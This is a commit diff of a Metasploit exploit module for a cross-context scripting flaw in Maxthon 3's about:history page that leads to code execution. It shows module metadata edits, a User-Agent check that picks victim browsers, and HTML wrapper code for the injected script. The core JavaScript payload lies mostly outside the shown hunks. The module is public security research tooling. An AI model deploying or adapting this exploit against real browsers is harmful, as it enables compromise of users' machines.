@@ -16,56 +16,59 @@ class Metasploit3 < Msf::Exploit::Remote
16
16
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
- 'Name' => 'Maxthon3 about:history XCS' ,
20
- 'Description' => %q{
19
+ 'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution ' ,
20
+ 'Description' => %q{
21
21
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
22
22
Injection in such privileged/trusted browser zone can be used to modify
23
23
configuration settings and execute arbitrary commands.
24
+
25
+ Please note this module only works against specific versions of XCS. Currently,
26
+ we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
24
27
} ,
25
- 'License' => BSD_LICENSE ,
26
- 'Author' =>
28
+ 'License' => MSF_LICENSE ,
29
+ 'Author' =>
27
30
[
28
31
'Roberto Suggi Liverani' , # Discovered the vulnerability and developed msf module
29
32
'sinn3r' , # msf module
30
33
'juan vazquez' # msf module
31
34
] ,
32
35
'References' =>
33
36
[
34
- [ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ] ,
37
+ [ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ]
35
38
] ,
36
39
'Payload' =>
37
40
{
38
- 'DisableNops' => true ,
41
+ 'DisableNops' => true
39
42
} ,
40
43
'Platform' => 'win' ,
41
44
'Targets' =>
42
45
[
43
46
[ 'Maxthon 3 (prior to 3.3) on Windows' , { } ]
44
47
] ,
45
48
'DisclosureDate' => 'Nov 26 2012' ,
46
- 'DefaultTarget' => 0
49
+ 'DefaultTarget' => 0
47
50
) )
48
51
end
49
52
50
53
def on_request_uri ( cli , request )
51
-
52
54
if request . headers [ 'User-agent' ] !~ /Maxthon\/ 3/ or request . headers [ 'User-agent' ] !~ /AppleWebKit\/ 534.12/
53
55
print_status ( "Sending 404 for User-Agent #{ request . headers [ 'User-agent' ] } " )
54
56
send_not_found ( cli )
55
57
return
56
58
end
57
59
58
- html_hdr = %Q^
59
- <html>
60
- <head>
61
- <title>Loading</title>
62
- ^
63
- html_ftr = %Q^
64
- </head>
65
- <body >
66
- <h1>Loading</h1>
67
- </body></html>
68
- ^
60
+ html_hdr = %Q|
61
+ <html>
62
+ <head>
63
+ <title>Loading</title>
64
+ |
65
+
66
+ html_ftr = %Q|
67
+ </head>
68
+ <body >
69
+ <h1>Loading</h1>
70
+ </body></html>
71
+ |
69
72
70
73
case request . uri
71
74
when /\? jspayload/
@@ -99,13 +102,15 @@ def on_request_uri(cli, request)
99
102
location.href = "about:history";
100
103
}
101
104
|
105
+
102
106
content = %Q|
103
107
#{ html_hdr }
104
108
<script>
105
109
#{ js }
106
110
</script>
107
111
#{ html_ftr }
108
112
|
113
+
109
114
when get_resource ( )
110
115
print_status ( "Sending #{ self . name } payload for request #{ request . uri } " )
111
116
0 commit comments